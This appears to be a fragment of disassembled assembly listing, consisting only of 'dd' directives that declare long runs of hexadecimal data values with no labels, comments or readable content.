		dd 0B69200D4h, 0AE9B60h, 0D215ABF6h, 78E67782h,	0C243E803h
		dd 20C376h, 0A0237351h,	10D83428h, 6CD35300h, 0F9E63E8Ch
		dd 7FB0F12h, 787FD01Ah,	8D20A802h, 70DC602Bh, 63E3B100h
		dd 0E269AD3Bh, 0E72A00A9h, 0C29759B9h, 60F188Fh, 40BF6C2Fh
		dd 0A57FBB7Ah, 58C67E11h, 0DD00A761h, 0BFA1CB44h, 0E6F67851h
		dd 1C6B2800h, 0F6B6F7F1h, 9A640082h, 26334453h,	0B500C5D9h
		dd 9D27D6Fh, 142029h, 66B0FFC1h, 0D6D546C6h, 0EDAE4400h
		dd 0EEA97699h, 18B700A0h, 669B056Fh, 19005233h,	95540461h
		dd 197E69Fh, 0D22C0845h, 709328FEh, 0DB03F580h,	600B9915h
		dd 2466A1A3h, 693900E3h, 9AE5A695h, 277A78C2h, 0FF436200h
		dd 4DA3E784h, 0B9C80EB3h, 0F1C09504h, 0CB94F3A4h, 80289604h
		dd 0D58022B4h, 3E5DC18Eh, 7E860D0Eh, 79951CFBh,	67F10500h
		dd 86494722h, 7A9600C6h, 26FE445Fh, 55B8124Dh, 1A698700h
		dd 0E7B1F2A0h, 99CE00D8h, 0F9268A4Ch, 21009664h, 0A870DE06h
		dd 0F715ECh, 0F22EF552h, 0F985C7D8h, 0E0126B01h, 46E7B9ACh
		dd 6A3B60h, 0BD10DA42h,	529CCA0Fh, 255BAF01h, 4B3F0BDEh
		dd 0BE0EF883h, 0C2D8688Ch, 1600CA74h, 3AECF2F0h, 54F591h
		dd 0D47FD538h, 21CFFECCh, 4683ED0Fh, 0DBEE062h,	32E5AB4h
		dd 0DA8D8F60h, 0D7C85EAEh, 0E4001EF3h, 0C92F5607h, 1C674B74h
		dd 0C0C3430Eh, 0B508C7A3h, 89003920h, 46B4B138h, 0BD8386h
		dd 0A5AFBE07h, 614EF8E4h, 0F6140490h, 60BADAh, 1AF0F71Fh
		dd 74F193EFh, 0E4DE50A9h, 2C813D0h, 5D7F0CD3h, 250039D9h
		dd 6C522E48h, 7819EA0h,	0FC80517Ch, 324320C5h, 7900306Fh
		dd 4057032Dh, 41015Fh, 0C9A56EBAh, 0A2DD044Fh, 4477667Fh
		dd 31105D00h, 7F4094F0h, 56806A6h, 0A91FEEDAh, 43C82302h
		dd 82AEA8CBh, 201A6CB0h, 32CC258Ch, 0D0F45600h,	4D9EAD1Eh
		dd 129C0FC3h, 59A0D671h, 7899F076h, 86A02F00h, 0DE8ACB70h
		dd 0EFFE00BEh, 0FBDD0D69h, 0DF1ED828h, 5F00C2D6h, 804FB337h
		dd 1890BEh, 957E87F5h, 564CF074h, 0E06A4728h, 29DB3700h
		dd 6F7C6C76h, 0D927099Fh, 9580B49Eh, 8462475Fh,	0EE1EBF00h
		dd 0A3E852AAh, 663600DCh, 705EB8A6h, 96794FB7h,	1686ED00h
		dd 0E8261A92h, 0CF5F00E6h, 0F459F2A8h, 97260FCCh, 0CD00DD6Fh
		dd 0DE64DBB1h, 0A53A009Eh, 88C5B94Dh, 32004E28h, 30EB1F60h
		dd 489522h, 0CCDB8369h,	7CAB78AAh, 61F5B7Ah, 9004ABFh
		dd 2611037Fh, 0CC860F4Fh, 4EEEB624h, 63396042h,	0A977DA40h
		dd 5BEC1A00h, 0C2DC6BACh, 650E2B4h, 0C18372D3h,	51174006h
		dd 36004E10h, 12B328F3h, 0F69D0088h, 0C4938BEDh, 0D4000F58h
		dd 253C138Fh, 8579FFh, 0F7FE389Bh, 335505AFh, 22E66403h
		dd 0C8861EBAh, 185A8A72h, 70C69FE7h, 0AD156638h, 0F8B2D0h
		dd 3D62AEF0h, 376A2Ch, 4A3E97A4h, 1AC1CEDBh, 0A4EB5Ch
		dd 0DABE8814h, 1E57195h, 5DCB4FAFh, 0E082FE3Ch,	0C800DF25h
		dd 47BB74AEh, 7D8040B2h, 4DE3876h, 8D85C983h, 6EF887E1h
		dd 95673C1Bh, 0E2101978h, 672507h, 26F07B75h, 28686520h
		dd 4EAA5500h, 39A41A0h,	0C17C12F1h, 38830137h, 309D7898h
		dd 8731D0D8h, 3B57603Fh, 0C03A0631h, 0A914D792h, 4C79E924h
		dd 0D6500101h, 0F1802A8Ch, 0A6A1B76Ch, 0CB0445D2h, 0BAEF78B4h
		dd 0DA6480C0h, 0BD282451h, 70F820F2h, 0FF88071Ch, 80A1C36Ch
		dd 0C281E834h, 5598847Fh, 0EFC64201h, 3647D11Bh, 4C80CC45h
		dd 0E2C16C27h, 1AB8A0C3h, 0D02B00F8h, 0EF833DE6h, 0AEF20E14h
		dd 9C2E6877h, 610071CEh, 1FCD30CBh, 918903E3h, 55B305D4h
		dd 233CC6B8h, 59742000h, 5625F846h, 328B20Fh, 0FE7F7E16h
		dd 79C0432Bh, 7B1397EFh, 800901D7h, 0E84400FDh,	0E6BF5584h
		dd 88620670h, 6CEF81A7h, 0EB012EE8h, 7B2DEE68h,	6E81465h
		dd 4C41001Ah, 84B830Bh,	4800BCD8h, 75762C77h, 3D9F19h
		dd 45260C92h, 0E5A1DAB4h, 0D8A6E700h, 83DDC7A4h, 2E3909B8h
		dd 3A8037DBh, 0BF956F8Dh, 0A0034D17h, 41ABF500h, 0F08C6598h
		dd 21920053h, 6813CA24h, 663A2711h, 363CAE17h, 2273AF0Eh
		dd 80EBD1ABh, 6F2867E7h, 697A2484h, 0E84C9920h,	7EA43032h
		dd 4725FE00h, 946F514Bh, 408E007Ah, 10BDAA63h, 5FB856C0h
		dd 0E4BF8D00h, 1FCCCAA8h, 0FB1538EAh, 2C723F00h, 0DA348A40h
		dd 6C128E90h, 18002E45h, 0A85D5842h, 7D1C008Fh,	0C1527E08h
		dd 0C4B21207h, 2C92E17Ch, 4A28A061h, 44D16552h,	50833FD0h
		dd 0B09A10D4h, 0B8DE25h, 0B5BCE289h, 0BD00128Bh, 0CF16CB3h
		dd 0E482F96h, 958CC8DAh, 7B080E9Fh, 0A6BFAA00h,	0D87C57F4h
		dd 0DF1DDD00h, 0F7DE6707h, 5F2D00C2h, 0B2B3158Fh, 218C58Bh
		dd 0E0580DADh, 0F59AE8C8h, 1A8B3C41h, 144E4F0h,	0A88D2816h
		dd 431D9A46h, 980A0110h, 5CD283B6h, 409CB200h, 8227ADh
		dd 2AA589BEh, 31E64611h, 59DBBC00h, 0DE0F07C4h,	0F4640055h
		dd 0FF99EC7Ah, 75EC6960h, 30112C00h, 0DE52AD9Dh, 3A58F4C4h
		dd 6B92B343h, 0BF20008Dh, 4AD6D0DDh, 1C007172h,	9D5D3955h
		dd 0B090E880h, 0A89901ADh, 0FA2954FDh, 3A6C493h, 5EAF300h
		dd 6DC6A233h, 4E9D0097h, 0F7F6C26Eh, 7C00C50Ah,	1CB747D6h
		dd 153CA0DFh, 0DCF3C7D2h, 0C6940D0Fh, 3B188D20h, 8300115Eh
		dd 2098DFBFh, 0F01D6277h, 51E400F7h, 0F6CB071Bh, 497E8845h
		dd 3FF9FF05h, 66804DFEh, 9A0CA7Fh, 0A2E7F1EBh, 31F78C00h
		dd 1002D4D7h, 0D63C71E0h, 9524C844h, 29E5009Ch,	8CAE641Ch
		dd 20046B77h, 80B1E1DCh, 713F2580h, 6A1B17A7h, 0C0E82425h
		dd 0F587E8C7h, 0E23EEB00h, 0BB55EF4Fh, 568800FCh, 9FC59589h
		dd 210038DCh, 0B6611D2h, 0B03C050Ch, 0F6EE2A8h,	3616995Bh
		dd 0C531EBE0h, 0FA383F07h
		dd 7664000Bh, 1B9B7772h, 1EF400F3h, 9F7361A1h, 2E7A9171h
		dd 0F6BBBD26h, 0E1F73000h, 302AD515h, 0EB5C11CFh, 0B83B68F6h
		dd 3C580190h, 0B7333A99h, 9F9B1080h, 2D6FC00Dh,	46003B75h
		dd 0F1498330h, 60663D70h, 0EA1829D6h, 26B8BA5Dh, 7A269B7Ch
		dd 0C8019812h, 0D8CC194Ch, 1104C24h, 0C435EDAh,	0FC96EEDEh
		dd 300A28Ah, 0A591E7E1h, 9451D15Ch, 68290040h, 6B30DC27h
		dd 0AF5CCCE4h, 502170h,	2F4B2570h, 9D047B55h, 0E7953979h
		dd 0D4234CC0h, 70B200C4h, 0F9A70FDDh, 5607FB1Fh, 0C9809A75h
		dd 74365400h, 6C9809h, 0AEEBC02h, 0AC839E92h, 0BC993876h
		dd 3C739B00h, 0C0E898h,	4EB6E62Bh, 9C042DDEh, 0D04B4170h
		dd 1C5F2801h, 0A828286Fh, 54509700h, 719BE8FBh,	2B3B6A00h
		dd 205B68C5h, 669906A5h, 0C81896E4h, 9D952914h,	754C07Ch
		dd 123EB8Dh, 0E6A7A561h, 0EBDF2897h, 4400204Ah,	3BFA3A3Fh
		dd 23061257h, 9EF88792h, 457B56A0h, 76093031h, 48EA9846h
		dd 0CC1B2Ch, 155A84CEh,	0D395F585h, 79C0647Bh, 20CE1AAh
		dd 732C0066h, 35E8653Fh, 5702055Ch, 20D195F4h, 59E4A0E0h
		dd 849877Eh, 8C4645EFh,	0C37C5500h, 157A0B8h, 35177A96h
		dd 0F0425ED8h, 9A00FF30h, 9D1B52C2h, 786DC007h,	32F40Ch
		dd 7D23CBD5h, 0DAABEAEEh, 76401100h, 3FF81C0Fh,	6D942434h
		dd 2AF80C0h, 1206CF8Fh,	34EFC82Eh, 5FFCD803h, 1090C42Ch
		dd 805ED28Ch, 3300B269h, 3E7699B6h, 3290F4h, 0E2FD5650h
		dd 206A099Dh, 9EE85715h, 69361D80h, 0D1942B8Ch,	0F9AB00E3h
		dd 87550CEEh, 6764D85h,	0A3327600h, 0DBFA90D8h,	4BFC00A0h
		dd 4EAEEE5Dh, 69001053h, 0E65B225Ch, 0B8DF3912h, 0ABF40368h
		dd 2D106E9h, 0DD1E41D8h, 89FA9100h, 133A9EE7h, 0B7F300DEh
		dd 2AB287D6h, 0A8988C55h, 0CF4BA71Eh, 1E266983h, 97F398EDh
		dd 0C7FEBDh, 9FE0035Ch,	0C376B16Bh, 310ECE04h, 6D8057F0h
		dd 3D838A7h, 56622DD4h,	9EC8FD3Dh, 45492109h, 4D058A0h
		dd 430E591Ch, 0C84C0481h, 90A8EDCh, 0E361F1F7h,	35C92800h
		dd 0F22E491Ch, 0F73D4C04h, 0C29D6B00h, 5AF7FF3h, 4D2200B2h
		dd 8D42E0F1h, 0FD00B7DFh, 3E78E256h, 1882611h, 3C6424ECh
		dd 60AA5D21h, 2B0EF2F7h, 404B7960h, 0BD9888Bh, 80200101h
		dd 873B0206h, 0DC22F83Ah, 12F50F09h, 37B003Dh, 2E1B6EBAh
		dd 921CABC7h, 3C8A90h, 93E029C3h, 15A27403h, 0F0BFC77Ah
		dd 40E62F1Dh, 712A753Eh, 260EE205h, 5DA6F164h, 0C1E95B40h
		dd 3DFA5A44h, 0EC80154Eh, 0FC8ACB6Bh, 0E000026Eh, 0FD2B4AEEh
		dd 939F8Eh, 0D9EA6718h,	0AAF508A5h, 0B3518C92h,	4FA720A4h
		dd 6E0033B8h, 6963A944h, 4C3E914Eh, 0EE07681Ah,	116DFDA1h
		dd 0C9F57A26h, 3ADC70B8h, 1FAB7504h, 0DCB04E91h, 0FB041DB3h
		dd 0B500B68h, 782F0A81h, 8410BC6Bh, 0A3E6558Eh,	33804A40h
		dd 4D0393E3h, 86811E12h, 431BE86Fh, 194F5885h, 90E11500h
		dd 0DA1F2023h, 0A7DB9B13h, 16FA3400h, 0FBA7B6Eh, 0DF11FCABh
		dd 36F944A0h, 9C0007CBh, 3B0930A4h, 3D9EA6EAh, 40BA93E4h
		dd 431A6583h, 7E9B32EFh, 0D7381A8h, 8F6B4A00h, 0D72DBCCAh
		dd 9867132Bh, 995B0056h, 2C2069C6h, 0E08B3025h,	9970288h
		dd 527943Ch, 0E3B0C280h, 600A463h, 9F38F074h, 1ECE3601h
		dd 0FF82AA13h, 97622280h, 0ABE51AEFh, 2EE6E100h, 5E7DF19Bh
		dd 4C050F84h, 9A807CA4h, 1863E525h, 0A642BC00h,	67C8B36Ch
		dd 0E7D000DBh, 91883556h, 0B10070C1h, 36EF451Ch, 7C44B247h
		dd 9BC92C78h, 9A678288h, 75609874h, 710030E2h, 4787973h
		dd 72A8D339h, 0C98F3CEBh, 0C4FEA984h, 8E509060h, 94009B7Eh
		dd 0CE96E19Ah, 38C9B071h, 0F900C1FBh, 25CC156Bh, 6AEA6828h
		dd 621F131Ch, 31F04EC0h, 0A0477F46h, 18EEEA8h, 492BA950h
		dd 2918EB5Ah, 0BB33A00h, 90239990h, 12B885FCh, 798DC1Ch
		dd 4138E6D9h, 0BC6A8730h, 6186F20h, 78113660h, 0F8E302A0h
		dd 17FE7D8Eh, 815E36C0h, 0CCC0339h, 71F62F49h, 0E0BC1DF2h
		dd 0BB1C0208h, 2C52BA83h, 0A88D5202h, 757AEC95h, 1100B98Fh
		dd 76DFD1B0h, 0AD621603h, 2527E296h, 54144828h,	5010B747h
		dd 0F163033Ah, 0A09DEF66h, 1A1C19h, 0F8F2AE01h,	0FBB635B7h
		dd 7812B103h, 90456DA4h, 0EBA3B3h, 0EAD2608Eh, 325E34BCh
		dd 445DB407h, 6C3F4EECh, 2766991h, 0F61E983Ah, 156015F5h
		dd 18909D71h, 2E29EF00h, 0ADA56966h, 0D9E800BAh, 55371BF9h
		dd 0A8008579h, 2F0387D7h, 1888925Dh, 9CA9EA21h,	500BB9D4h
		dd 0A015D759h, 0B3947774h, 60B28Ch, 1E34BB74h, 0BDBC0DE4h
		dd 801C8BF6h, 0C8A42958h, 8ED9A900h, 2876D6h, 0F63B03C1h
		dd 6C386A12h, 864A470Bh, 3EA80052h, 23AA68Bh, 5AB392A4h
		dd 204631DEh, 5338A0F8h, 5C027847h, 2152B834h, 0A7DD80E1h
		dd 0A5689Fh, 0F6D50F77h, 3D45A9C3h, 93E53600h, 1680BC0Bh
		dd 0F96007CCh, 0E020290Eh, 0BA3ED1CAh, 0BE3CD05h, 0D440A19Eh
		dd 104A22DEh, 3A512E54h, 0D07E8040h, 0D6EC9807h, 0FCF9883Fh
		dd 8641D906h, 224052E3h, 0C95C19A7h, 874304E0h,	80C099C7h
		dd 14458EB2h, 0BDE84113h, 526B1500h, 125D97F5h,	1CF04B2Ch
		dd 0CFFD0Fh, 2027D0F3h,	0A8721F1Bh, 0F52CC05Bh,	7EAD9A68h
		dd 8AC066F2h, 4316DD3Dh, 52F90F0Ch, 4400092Fh, 37B4DC17h
		dd 4EAAD200h, 0A8FED17Bh, 0BCE4002Dh, 7739DA54h, 8472BA1Bh
		dd 16B43CF1h, 0EC80C818h, 8C612Bh, 73B5EE82h, 0AFA1BC0Ch
		dd 0D5483DB8h, 0A0720F24h, 44FB20D7h, 7A3C1DF6h, 698B009Ah
		dd 24FF4D94h, 116ACEFh,	4C001E02h, 0F97F3859h, 5C74C004h
		dd 0C5379876h, 10E92200h, 0E22C11EEh, 8650053Ch, 80DA4892h
		dd 0D37D5874h, 0EC3BCF90h, 0C5141F31h, 653C9480h, 12F07E37h
		dd 411980D1h, 0DBB0B8B4h, 87838h, 0F95250ADh, 0B81404D3h
		dd 23E71E00h, 0F5B5C0BDh, 0E23F4063h, 8F4B881Ch, 0DD9342C7h
		dd 981FF9F5h, 0C024EA0Eh, 86EDB659h, 0A1CF0081h, 0BAE5225Eh
		dd 2900AD9Fh, 0AF28F0E2h, 0D93967h, 0C30CB45Bh,	2F5FEFB1h
		dd 3BC25100h, 0A3F5917Fh, 0A8310067h, 0B17114DDh, 0C4022D33h
		dd 881D8629h, 4DA469B5h, 0C2165852h, 4AC0F76Fh,	5D50B911h
		dd 891F8DC8h, 8FBCA2E6h, 0C008B2D6h, 0B41D503Eh, 0BC9600E8h
		dd 0CEC80A6Bh, 3024374Ah, 98058A1h, 0B3B8FC62h,	0E7380345h
		dd 0B187D82Ch, 6F2D36D8h, 6C752806h, 0FE31E879h, 0E500BBCh
		dd 0C0604B9Ah, 8F08146Fh, 8AFF478h, 289019B8h, 51854600h
		dd 0CF159F9Bh, 431C0800h, 7A8BF920h, 0DA34008Dh, 0B990A9F3h
		dd 4F0EB5AFh, 0C3EF78BDh, 99480253h, 0A470FF0Ah, 1E3F4F1Ah
		dd 0E2443CDCh, 9752BA0Eh, 59D3203Bh, 3FB78AB2h,	5000BCE9h
		dd 0EA9558A4h, 0E607AB92h, 0AD88B97h, 0C1733312h, 9EDC3A61h
		dd 5C51C034h, 68E3EAB1h, 0EEC86A00h, 0A56E6B06h, 0CC6600FEh
		dd 0B813D07Ah, 9D0097FFh, 0AC6CE7Eh, 0D61847h, 1B076E28h
		dd 88905B44h, 0DB914C00h, 584538DFh, 253E2E72h,	0EF7D0720h
		dd 0B8D8B339h, 704C9084h, 4747C2Ch, 0D03A9E2Ch,	44317F0Bh
		dd 0FB4AECh, 1DC443Ch, 0D1050640h, 8612618Fh, 44904885h
		dd 19B6631h, 6C379225h,	0F00FC9F2h, 2600FACEh, 1D5EFFECh
		dd 5CADD2h, 0EB0118B8h,	41177839h, 1305C614h, 4B007F80h
		dd 2B725F8Ah, 338C55h, 758F5CA2h, 0F60ABD93h, 6E668202h
		dd 488E471Bh, 2F42114Ch
		dd 0FC8094D2h, 24E314BDh, 4780738h, 39842C1Ch, 7350FCC7h
		dd 0B2A82788h, 0CD800104h, 8C042AE4h, 8B18ED08h, 3A7E829h
		dd 34229h, 0BE23A60h, 56716B21h, 1AC17F0Fh, 0D55C60BEh
		dd 83693Dh, 4996F09Fh, 0B16F50B3h, 0CB040C00h, 2021558Bh
		dd 0C4635086h, 7777587Dh, 0BB0E6E0Fh, 1002BD49h, 4CE61BF4h
		dd 3C42172Eh, 0E51401ACh, 0B86500C8h, 612011C1h, 26C8B8ECh
		dd 385718FCh, 0B944D500h, 807207F6h, 45364100h,	0F5373F9Dh
		dd 4438F357h, 0F95CB807h, 0E7851Ah, 0DC324EE4h,	0CC00D436h
		dd 0E622CAFFh, 0E6BD5B82h, 0C668003Eh, 18EF81FEh, 0B30058FCh
		dd 0CA80FB9h, 4C55DF26h, 0F800DC04h, 27A15DD5h,	0F4000EE2h
		dd 63822C53h, 3DB143Bh,	36E051A7h, 5990F31Eh, 5D033326h
		dd 0E994A02Fh, 9151E045h, 17D900D3h, 43086FB8h,	0FF03EA80h
		dd 0E4AAF72Ah, 4B53F888h, 0E84A4CB2h, 0F4A4154Eh, 33386400h
		dd 0DDF706CBh, 0FEC2B517h, 96807F0h, 0EC2093FAh, 0DB770801h
		dd 50324Bh, 0E4F0BB65h,	0FA249355h, 1AE20125h, 1BEAA56Bh
		dd 21182904h, 0B1067ED1h, 5D1DAE8Bh, 21025B61h,	3BD125Ch
		dd 0A0AFA31Ah, 0A01F99B4h, 0B6BC8310h, 4E8D4488h, 5A36825Dh
		dd 65FCE9BAh, 1E360F0h,	0CDA1D40Fh, 0CCA32D19h,	4C3B2F51h
		dd 15D380F6h, 0E1E25A89h, 0DEAE0C8Fh, 95385442h, 99C2DC7Ch
		dd 0F16BDB0h, 5BDB001Fh, 5E65AD34h, 71B84D78h, 5E611C2h
		dd 0FB78D847h, 85B9100Bh, 0E556C600h, 1A4D5421h, 877C39h
		dd 9A071F4Ch, 0A4E09Eh,	601DBBD0h, 0A178ABC7h, 0EB495F00h
		dd 190C411Ch, 592F003Fh, 75080405h, 0A4009CF1h,	10D28B9h
		dd 95EC82h, 44ED6BEEh, 5BD47EFBh, 0C809CA00h, 0CC8BCD43h
		dd 1B540024h, 0C3069D35h, 4C07A3F2h, 0FE2C13Ch,	7C41530h
		dd 0AE191E38h, 0EEF970ECh, 0DB012001h, 87D149Dh, 8985C95h
		dd 0A552171h, 7F442000h, 0D0ECB5D3h, 0A3DF0735h, 0EAE7D822h
		dd 510D8184h, 0DCEC7672h, 1F00E252h, 6A5AB109h,	0C89C368h
		dd 6CC1F18Bh, 0DB10E020h, 0B81A1307h, 1140403Ah, 562C90Fh
		dd 404CA451h, 0C228BBAh, 52835DBDh, 21C99C08h, 4BCD804Ah
		dd 12A4E9AAh, 1B99C936h, 0B91D6055h, 0D406330Eh, 71111BB6h
		dd 46C501B9h, 12A89D52h, 0CE09989Ah, 1B15921h, 0E873ECC5h
		dd 0C4C98587h, 6D00AB07h, 1DB6A336h, 3CAA119h, 8901912Fh
		dd 700069CDh, 0AB034B21h, 0C1A4564Dh, 0B7C4E828h, 9E94CCACh
		dd 816A5E01h, 4A022403h, 495830h, 1D2F3B33h, 57F9EF3Eh
		dd 4CACCD00h, 5A86C6C2h, 782575E7h, 4016245Ch, 90ED0071h
		dd 6DD7F954h, 89BB8B07h, 0B5F3AA07h, 6543DFB2h,	29C68820h
		dd 0BBBF00F1h, 5497AC28h, 14008DB1h, 6096ABF6h,	0F9F0AD82h
		dd 162003CFh, 983B016Ah, 6E9F0FD8h, 0A2D0D43Ah,	0B4970030h
		dd 9587039Bh, 8B269D23h, 20736AAh, 92E0AF56h, 1EA5A713h
		dd 83C0C41Fh, 3C7C65Dh,	0BDE0B6B3h, 91061318h, 2749BF3Dh
		dd 5BF90050h, 943569DAh, 9C7E1493h, 0C68838h, 0BC463C9Bh
		dd 1D985045h, 0C176D92Ah, 0C04C1BEFh, 919180B5h, 0E296BB32h
		dd 92AA0115h, 0D94AC70Dh, 0AD61812Dh, 0D15F4BE0h, 185C7A60h
		dd 91125B6Eh, 671BCDB4h, 100E80h, 0FCBE451h, 872FA6B9h
		dd 80DECE28h, 0E82A4900h, 0AA052DC2h, 5CFF7B4h,	359ABF30h
		dd 657BCB5h, 0B993D8C1h, 6A840079h, 0B1DA6CEBh,	19001498h
		dd 8BDDB8C6h, 14452095h, 9882AD61h, 0C0A3A40Fh,	37D891A1h
		dd 0CF418A84h, 281DC405h, 618E0B40h, 7EB9Ch, 0CED567F0h
		dd 0D027C18h, 36D93D3Eh, 0FF3126CCh, 1FEC0F4h, 172B8505h
		dd 8CB48A97h, 68CFBFC8h, 596600E8h, 0C8834F6h, 1700C20Eh
		dd 68CD792Dh, 5D05C77h,	0A6AED66Ah, 0CB04387Dh,	5CDF518h
		dd 4C7E9711h, 3001BBB4h, 9A86C8E3h, 0D2A5DC36h,	9071AE00h
		dd 8ECE7253h, 0A6BA00EEh, 9785BE21h, 6D18130Eh,	0AD48910Ah
		dd 0FFEFE11h, 52C97CCEh, 93F1F0A7h, 86C8B6BBh, 0EE30E927h
		dd 0AAD620B4h, 32D1453h, 0FAE12066h, 20BA19DFh,	0C3CF309Dh
		dd 58D23A4Dh, 3AF9039h,	0A597AE71h, 0B6E100D4h,	4D3E6784h
		dd 910E0299h, 86036155h, 20B5C1h, 8B678593h, 11B23D08h
		dd 0A2066FB0h, 0CEACA0Eh, 0D1B707F8h, 0C016D36Dh, 0A726548Ch
		dd 2152021Dh, 9448A428h, 0CCEE1533h, 0DCCE00ACh, 737F7C47h
		dd 37D20E71h, 0C48C6EE3h, 95017821h, 8257B146h,	0B6CC7E22h
		dd 11578FDh, 9A43497Bh,	85AA69AFh, 2B3D47A1h, 8B0CD85Dh
		dd 18B3D9D5h, 0F85CE26Ah, 4838922Fh, 4429603Ah,	0C34860Eh
		dd 0A14D02FCh, 80019879h, 0A9E791F2h, 0D09C4AFDh, 5330FA5Bh
		dd 0C1978039h, 0E7888200h, 0BEA53A64h, 2C24000Fh, 85D9B918h
		dd 0C639D226h, 3C658F2Bh, 9ECA2291h, 0E3948098h, 0F406C86Dh
		dd 289049CDh, 1DCB2B00h, 0A26AAB2h, 0AD501007h,	0B82C8A4Ah
		dd 0C2FC2464h, 8F7C0083h, 0B1A57A7Fh, 0FE25C0A0h, 0F778DF00h
		dd 5BD95075h, 2A10055h,	0F9C1BD36h, 0F118D333h,	5D6906CEh
		dd 0DBF50077h, 0A2DAD711h, 8CC8F88h, 1D3A217Eh,	80E8F57Fh
		dd 0D84C6DFFh, 0BB0CBC6Ch, 80C92ECCh, 8032E55h,	0A9B50110h
		dd 20A42311h, 0AE126C30h, 2830A2D8h, 23C36783h,	0BF11F14Dh
		dd 679C9400h, 2A4C34CFh, 3A420E0Ah, 3703900Dh, 0D8368CF5h
		dd 1839294h, 4E8FAF97h,	40626A3Ah, 0A20FD888h, 3037EA32h
		dd 390B184h, 4C51F1ECh,	2502CD06h, 4E6493EEh, 0D6768CA0h
		dd 8381FB1Ch, 0F5087918h, 0C4E711D9h, 813C406Fh, 0A349F5h
		dd 8D7BE02Ah, 568E6A58h, 0E119A892h, 0CB80D722h, 38254EF1h
		dd 0BE88901Bh, 26755EC0h, 5885006Ah, 6158105h, 8402978Eh
		dd 0AEFEF052h, 44AC47D2h, 149B60CFh, 1FDC0579h,	4AAB049h
		dd 5D8EB0h, 16057D50h, 137892A8h, 1E13C006h, 0A1AF8128h
		dd 0D1B24E25h, 0E5218151h, 0C29A1339h, 0A08EE441h, 33069400h
		dd 2E10583Bh, 0A2000BF1h, 97778D4Ch, 3A0F0C36h,	0A5707B12h
		dd 0FC6349C1h, 0A444B692h, 9C01BC89h, 8F0CA594h, 4D376708h
		dd 40BCC491h, 0F1678890h, 0A510380h, 455F7B4Dh,	0A69AF9D3h
		dd 2EEAD460h, 54112B88h, 8C953409h, 0C0678604h,	0C262894Dh
		dd 67879520h, 3ACB0C58h, 0ADC8721Ah, 47E1D973h,	0A75593F8h
		dd 76CDD918h, 17F3F8D1h, 3685Ch, 742E179Eh, 0B003BBFh
		dd 0E0A85F9Fh, 98B03699h, 84BD50B0h, 0C734055Eh, 81A1EDFDh
		dd 10DCFA08h, 0C75D21C9h, 0D088A6C8h, 0D7AB6E32h, 154F87Ch
		dd 6C4C2FB8h, 8CBDBCF4h, 0EEC49700h, 0E50B4DF9h, 27C926B1h
		dd 9DED8038h, 9C031A65h, 489BAF09h, 30B888E7h, 153D7000h
		dd 3377EC3h, 0F86571A3h, 8823CBA7h, 4ED2693h, 8EB94D32h
		dd 0F18F0080h, 1EDF4967h, 50B14822h, 495B2A10h,	96589948h
		dd 671A8D18h, 16504D35h, 0BE9600DCh, 3ACABB67h,	0EC131E37h
		dd 0C420CEBAh, 0E662B2C6h, 53550211h, 0C9EE7774h, 0C50B9C48h
		dd 7300C176h, 89C6AB15h, 3E9810CEh, 0A0F2B234h,	24783790h
		dd 8841739h, 0BE020D4Ah, 634E9EB0h, 1FCEC340h, 1EF4A8A9h
		dd 0ED5C0ECh, 0AF980436h, 7F0CAA7Dh, 50C151D2h,	0DECA0984h
		dd 0F41DA59Dh, 8E80C891h, 0E913A9E6h, 38038577h, 0B1DE9776h
		dd 128906D1h, 7261EBE2h, 2CA3B3Ch, 471045E4h, 6290CADAh
		dd 6164A080h, 0C36427h,	98CF335Dh, 1D18B825h, 0F26E4F05h
		dd 2C43D42Dh, 0CB9EC556h, 61E9B844h, 26640B6Bh,	7002B28Eh
		dd 24E06E7Ah, 9281BEF1h
		dd 8453FACBh, 0DD613874h, 6B8C4247h, 10CA7491h,	0A469677h
		dd 0BACE0A7h, 0F9FD8FE4h, 4CADBB60h, 148BE72h, 0D744071Ch
		dd 0E1B1DB8Ah, 2020C63Eh, 0FAB904D3h, 0D0E69958h, 8E24C90Ch
		dd 9D1F49C0h, 2488FB89h, 80E82D10h, 8CD4E087h, 906D112h
		dd 5D03780Fh, 1F460030h, 4D105F56h, 4057253h, 0A6BA67C2h
		dd 0D5584C3h, 56AFC9B1h, 0B7DBF361h, 0AA1F1905h, 0B80249F1h
		dd 66DD1086h, 2B1A001Ch, 0E50F47ABh, 0D90EDF15h, 0C274513Dh
		dd 0C199B536h, 7AC82C82h, 4D930328h, 2A4A4E31h,	635CF8C6h
		dd 72971FFEh, 243AD3D2h, 1C1D8C75h, 0E787AB03h,	0DFC0E1FDh
		dd 6A317A1Fh, 1178B0D1h, 223D0376h, 0E5290767h,	7588B48Eh
		dd 0A7C6F9C0h, 0C0955053h, 10470B76h, 4C1DC290h, 98809A11h
		dd 0D4B009F2h, 0F6E3E609h, 24B08027h, 0B17CCBA0h, 18B9D130h
		dd 1AE21DA2h, 4C9736h, 7F487B46h, 0B30A02E4h, 0BC03866Ah
		dd 0ABBF2700h, 0AC2DA693h, 47DE02B8h, 6EE37F7Ah, 0A317C619h
		dd 0FBAD4697h, 1DABC481h, 0D8033C29h, 274FD51Ch, 0C857BFF9h
		dd 343E998Dh, 0F37E0054h, 0D8A0F8B0h, 0AFBD0FACh, 2C601070h
		dd 5983C88h, 395BF000h,	0C3D69EEFh, 0B6700B9h, 13D1F7EBh
		dd 73FA8D30h, 490164F8h, 0E46FB124h, 4FEC1C9Bh,	0D14E164Ah
		dd 0AD36002Dh, 22C380F2h, 0D8263Ah, 7E369EF3h, 28DDB630h
		dd 3A9ACCA8h, 0D030CFF0h, 30871521h, 2DB94E00h,	4CE8FB83h
		dd 0C1BB00EBh, 0DF8A0BDAh, 907DCDAFh, 764C20Ch,	0F3D39D5h
		dd 0FEFD234Ah, 5F486A80h, 0B614B265h, 0F64435Bh, 40F803B5h
		dd 1BDA72CAh, 0A8266B66h, 3CECFEh, 0E8DD8EEFh, 18D6A3CFh
		dd 38FC0B93h, 0E00FEF3h, 134F97F9h, 0CC07EFD0h,	5E21FD09h
		dd 5DF8C703h, 0E04B44C5h, 0CB0A692h, 2DEE0A6Bh,	721BEBB8h
		dd 0DBA0FF03h, 823900F2h, 0D119C158h, 680076CEh, 9839638Fh
		dd 8A7F0Ch, 0A17126EAh,	0E0561569h, 0CDA2CF00h,	0ABF9FE1Bh
		dd 5A750D31h, 260BFEEh,	89309DB4h, 43DDFC30h, 921480A0h
		dd 0D4C130h, 6411F55Fh,	6726AE7h, 13B18FE9h, 0F3F606CBh
		dd 3657F10h, 0C2FF5B07h, 0C13A85BBh, 94922BA4h,	0A7020913h
